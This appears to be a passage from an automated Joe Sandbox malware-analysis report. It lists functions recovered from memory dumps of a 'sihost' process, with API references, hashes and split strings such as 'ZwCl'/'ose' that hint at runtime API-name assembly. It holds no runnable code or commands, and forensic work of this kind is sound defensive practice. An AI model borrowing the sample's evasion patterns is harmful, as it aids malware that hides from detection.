Part of subcall function 00D1C564: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D1D9FF,?,?,?,00D1C00F), ref: 00D1FC98

_mtinitlocks.LIBCMT ref: 00D1D9FF
_calloc_crt.LIBCMT ref: 00D1DA29
_initptd.LIBCMT ref: 00D1DA4D

Part of subcall function 00D1D930: __addlocaleref.LIBCMT ref: 00D1D9D7

_mtterm.LIBCMT ref: 00D1DA66

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: AddressProc$__addlocaleref_calloc_crt_initptd_mtinitlocks_mtterm
String ID:
API String ID: 3868703043-0
Opcode ID: adfe8631aef26287859332ca7d529db0bbd6868b0abb4fd0eb874a0792c5faf5
Instruction ID: c9155785f763293d7f44db907aeaadf81621a4d92bf5b9314334dfc030d38331
Opcode Fuzzy Hash: adfe8631aef26287859332ca7d529db0bbd6868b0abb4fd0eb874a0792c5faf5
Instruction Fuzzy Hash: 12F09061608201B9EB54FBB5B8453E93293CF54B70F1C47256439872D2EF28CAC2C331

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC73C8 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC9220
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC923E
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC925C
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC927A
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC9298
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC92B6
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC92D4
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC92F2
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC9310
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC932E
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC934C
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC936A
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC9388
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC93A6
Part of subcall function 000001D63EAC7770: GetProcAddress.KERNEL32 ref: 000001D63EAC93C4

_mtinitlocks.LIBCMT ref: 000001D63EAC73D3
_calloc_crt.LIBCMT ref: 000001D63EAC73FD
_initptd.LIBCMT ref: 000001D63EAC7421

Part of subcall function 000001D63EAC7304: __addlocaleref.LIBCMT ref: 000001D63EAC73AB

_mtterm.LIBCMT ref: 000001D63EAC743A

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc$__addlocaleref_calloc_crt_initptd_mtinitlocks_mtterm
String ID:
API String ID: 3868703043-0
Opcode ID: a4aebfabf9e57b01d1b5073efad964933640e37a3d88aa115f063a27d89effc1
Instruction ID: af8a56922adac574ab82f029dc074c42cfc1ca5a108ef9eea7e32ac3f5589792
Opcode Fuzzy Hash: a4aebfabf9e57b01d1b5073efad964933640e37a3d88aa115f063a27d89effc1
Instruction Fuzzy Hash: 340181F0F406C061F755B7355D053D816C17F45375F588726B83DC62D3EE1884828271

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EACE4C4 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001D63EACE414
_errno.LIBCMT ref: 000001D63EACE41F
_errno.LIBCMT ref: 000001D63EACE4E4
_invalid_parameter_noinfo.LIBCMT ref: 000001D63EACE4F0

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 99ab0d84cd3482e6bddd93b453c6b0c5488e2da53cbceff84a939a2801ae5295
Instruction ID: 502f0436ec77258e225078233168dea5f69ef8009d16cd03b8461e44d4abb55e
Opcode Fuzzy Hash: 99ab0d84cd3482e6bddd93b453c6b0c5488e2da53cbceff84a939a2801ae5295
Instruction Fuzzy Hash: A9F0F6B2B003C062F722AE55E9453ED6360B744B90F558333EA2D877C7CA25C80287A5

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC7A08 Relevance: 6.0, APIs: 4, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 000001D63EAC7A11
_set_error_mode.LIBCMT ref: 000001D63EAC7A20
_NMSG_WRITE.LIBCMT ref: 000001D63EAC7A37
_NMSG_WRITE.LIBCMT ref: 000001D63EAC7A41

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: _set_error_mode
String ID:
API String ID: 1949149715-0
Opcode ID: 628e570865c62e6928034b30d8d36e0a1e97157d603adc4faedba15458e4e5c0
Instruction ID: d9986553890311197b55354ae07d4d5ce38cf4c1900d1a16eded5b7ffa569ab4
Opcode Fuzzy Hash: 628e570865c62e6928034b30d8d36e0a1e97157d603adc4faedba15458e4e5c0
Instruction Fuzzy Hash: B1E017F0F801C6B6F76832745D623F81049BBA6302F48332BB10DC52D3DD298A854632

Uniqueness

Uniqueness Score: -1.00%

Function 00D19220 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

std::_Xbad_alloc.LIBCPMT ref: 00D193C3
std::_Xbad_alloc.LIBCPMT ref: 00D19431

Strings

deque<T> too long, xrefs: 00D193C9

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: Xbad_allocstd::_
String ID: deque<T> too long
API String ID: 3176948561-309773918
Opcode ID: cb5fbb7a7a74c8639b4892bc0ca3c116f6877eafca7c8994bd8b11aafea875d3
Instruction ID: 4bcf8137c05988cae1ab027d1f40d2ceddcc9d641f5ed03de1f12ab1612ca169
Opcode Fuzzy Hash: cb5fbb7a7a74c8639b4892bc0ca3c116f6877eafca7c8994bd8b11aafea875d3
Instruction Fuzzy Hash: 9F51C362711B94A2CE10DB65F52429DA351FB44BF4F584725AE7D57BD8EF38C182C320

Uniqueness

Uniqueness Score: -1.00%

Function 00D15EB2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00D15F18

Part of subcall function 00D1AED8: _vsprintf_s_l.LIBCMT ref: 00D1AEF2

Part of subcall function 00D15BD0: swprintf.LIBCMT ref: 00D15C5D

Strings

tus=, xrefs: 00D15F06
&sta, xrefs: 00D15EFE

Memory Dump Source

Source File: 00000002.00000002.4550053777.0000000000D11000.00000020.00000400.00020000.00000000.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000002.00000002.4549908635.0000000000D10000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550129990.0000000000D2D000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4550186517.0000000000D3C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4551985559.0000000000D40000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4553093095.0000000000D42000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d10000_sihost.jbxd

Similarity

API ID: swprintf$_vsprintf_s_l
String ID: &sta$tus=
API String ID: 4008999296-820913059
Opcode ID: 254551d752feea471af1f0b8648f6d55919677b3d21257e048552987e51c78c5
Instruction ID: e63f86f146eaba460f8954d90f7e6fb63d898728ae837a2a585a144d6a509720
Opcode Fuzzy Hash: 254551d752feea471af1f0b8648f6d55919677b3d21257e048552987e51c78c5
Instruction Fuzzy Hash: B4F0496231AAC0D2EB249B11F42279A7761FB98748F485112BA8D0BB89DF3CC245CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEC629 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EAF22F1

Strings

ose, xrefs: 000001D63EAF2335
ZwCl, xrefs: 000001D63EB025BA

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 206c815a33cc31e6095159d0a57503e535899e47afe920a5f0d619b381e5e152
Instruction ID: b44239b838b9df6dbf54274e2f961fc15b9a3ec74c104b175be26ea860358642
Opcode Fuzzy Hash: 206c815a33cc31e6095159d0a57503e535899e47afe920a5f0d619b381e5e152
Instruction Fuzzy Hash: F7F0F4F630462095E221CE2259D52FEAB62F3907C3F821112584F07591DB68D02CDF60

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEAA83 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EB0EDD9

Strings

ose, xrefs: 000001D63EAEB547
ZwCl, xrefs: 000001D63EAEB53C

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: a01b510f4d1aabeddb904f5dc35e5f1cbd503e5fdab730c3e552ce0adc7ab9fe
Instruction ID: 8a4e55f80ecdc9d3eadd69d74b5e6a6946c4e6ec1d2a8244712f37824464f082
Opcode Fuzzy Hash: a01b510f4d1aabeddb904f5dc35e5f1cbd503e5fdab730c3e552ce0adc7ab9fe
Instruction Fuzzy Hash: ECF0E5B320AF94E6E2119F212A253EF35D0F7807C9F6417128D4F03795EB34D4089B21

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEC903 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EAEC903

Strings

ZwCl, xrefs: 000001D63EB12B80
ose, xrefs: 000001D63EB12B99

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 0f46ee2982019f3ce8c20030f79747b6a70655c6581528f7ee0fc55dd44e1017
Instruction ID: aa169f428ca781667e8a1f60221e5287840f93ff64d358219bd91db1c857a283
Opcode Fuzzy Hash: 0f46ee2982019f3ce8c20030f79747b6a70655c6581528f7ee0fc55dd44e1017
Instruction Fuzzy Hash: 9EE09BF7349620DAF604CE1195D43EF6761F388783F5296019A8E0B589D768C15CDB50

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEF833 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EB03537

Strings

ose, xrefs: 000001D63EB03569
ZwCl, xrefs: 000001D63EB03556

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 9a277b71f7c82c22129145083954e49eeea4001a21b2bdeeb3853ca29631ec8a
Instruction ID: 6314c0f511ceb5dac6a057ac7f9ca33b4fb19ea91f6fe87b57db24da48b64eff
Opcode Fuzzy Hash: 9a277b71f7c82c22129145083954e49eeea4001a21b2bdeeb3853ca29631ec8a
Instruction Fuzzy Hash: CBE0DFB6308B50D3E701CA22645626FAA51F390FD2F8613064D8F07A55C728E04CDF20

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAF0666 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EAF0666

Strings

ose, xrefs: 000001D63EAF7A65
ZwCl, xrefs: 000001D63EAF7A56

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 30806b64a8c2d665ede021d0f47617416a1d63374161efa50176f6b0adaf9b16
Instruction ID: 3f9d89d106687f37ab4ec1d193b842a7d55674c805579258c762bd0ceac3b6cc
Opcode Fuzzy Hash: 30806b64a8c2d665ede021d0f47617416a1d63374161efa50176f6b0adaf9b16
Instruction Fuzzy Hash: 92E026FA208300C3D2048F22A8693EE2A10F380F83F9206015C4E03A91DB78C42CDF14

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAC74F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000001,000001D63EAC79E3,?,?,?,00000000,?,?,?,000001D63EAC8180), ref: 000001D63EAC751C

Strings

CorExitProcess, xrefs: 000001D63EAC7515
mscoree.dll, xrefs: 000001D63EAC74FD

Memory Dump Source

Source File: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: CorExitProcess$mscoree.dll
API String ID: 190572456-1276376045
Opcode ID: a0f52d348248e391b85ad273c38917f3e95d4689f23f3bc8ca3c79ddc594f4a4
Instruction ID: 33f19884d4bb848cfd4bf8850c3509044f78cefbd72ab111edf202a38b5e04d3
Opcode Fuzzy Hash: a0f52d348248e391b85ad273c38917f3e95d4689f23f3bc8ca3c79ddc594f4a4
Instruction Fuzzy Hash: 30E080F07116C6A1EF555770BC902D61350BF44352F446217D50F4A156DD38C94AC720

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEC6C7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EAECDC1

Strings

ose, xrefs: 000001D63EAECDF2
ZwCl, xrefs: 000001D63EAECDE2

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 8c888144bc673dbde9f472cd4be95b9502353270f1c675b2e098db9ec27fbf8d
Instruction ID: 2f170d03005758b05838947a2a7914be41bd3f3312e346239685fd7f154fa65e
Opcode Fuzzy Hash: 8c888144bc673dbde9f472cd4be95b9502353270f1c675b2e098db9ec27fbf8d
Instruction Fuzzy Hash: F7E09ABB209A91EAD6108F1064452AAAE00FB803C3F621602998E019D2CB68D108DB60

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEFD6F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EB0C195

Strings

ZwCl, xrefs: 000001D63EB0E37C
ose, xrefs: 000001D63EB0E38C

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: f3b69a4ce1961a8b6accc6de95a238ad5e5607d409392956625ae8916b99fec9
Instruction ID: 4130714ea5440d3380d50312f983b25d51ba0efadbc9a23d4f104cb146b73f74
Opcode Fuzzy Hash: f3b69a4ce1961a8b6accc6de95a238ad5e5607d409392956625ae8916b99fec9
Instruction Fuzzy Hash: F6E0CDF530564099D61ACF11595D65D1A41F3847C0F734A15494F07AD1DFB4D009DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEC11D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EB0B81D

Strings

ZwCl, xrefs: 000001D63EB0B84B
ose, xrefs: 000001D63EB0B858

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 81ea671e271b441e55406c07a642e8c16ffe451cf73dbfab26548585b246a867
Instruction ID: 82d1095e8bc547c7ab0acf55ab8043c9158b345bd90b92991cfb8609dcb86f04
Opcode Fuzzy Hash: 81ea671e271b441e55406c07a642e8c16ffe451cf73dbfab26548585b246a867
Instruction Fuzzy Hash: EEE0ECB7304F609AE501CE1264E02FE6A52F3A9BD3F9255269C8E07765C728D15CDF60

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEBD58 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EAEBD58

Strings

ose, xrefs: 000001D63EAFC0DA
ZwCl, xrefs: 000001D63EAFC0CD

Memory Dump Source

Source File: 00000002.00000002.4566815589.000001D63EAE7000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D63EAC0000, based on PE: true

Associated: 00000002.00000002.4566619414.000001D63EAC0000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566652897.000001D63EAC1000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566686559.000001D63EAD5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE1000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566721438.000001D63EAE5000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.4566780989.000001D63EAE6000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1d63eac0000_sihost.jbxd

Similarity

API ID: AddressProc
String ID: ZwCl$ose
API String ID: 190572456-135542746
Opcode ID: 3ebfd374b8617681637045f17830cd7eca6ff5daf19d7372d638906e72a636dc
Instruction ID: 2d3466cf16ffe0bff327ef1fa5eeff29270eb1f066b2f2036748d2850433c259
Opcode Fuzzy Hash: 3ebfd374b8617681637045f17830cd7eca6ff5daf19d7372d638906e72a636dc
Instruction Fuzzy Hash: 8EE04FB7208650D7EB08CF11A8592AE6B61F780382F628216985D06AA4DFB8D41DEF10

Uniqueness

Uniqueness Score: -1.00%

Function 000001D63EAEECE4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 000001D63EAEECE4

Strings

ZwCl, xrefs: 000001D63EAEED0B
ose, xrefs: 000001D63EAEED26

Memory Dump Source

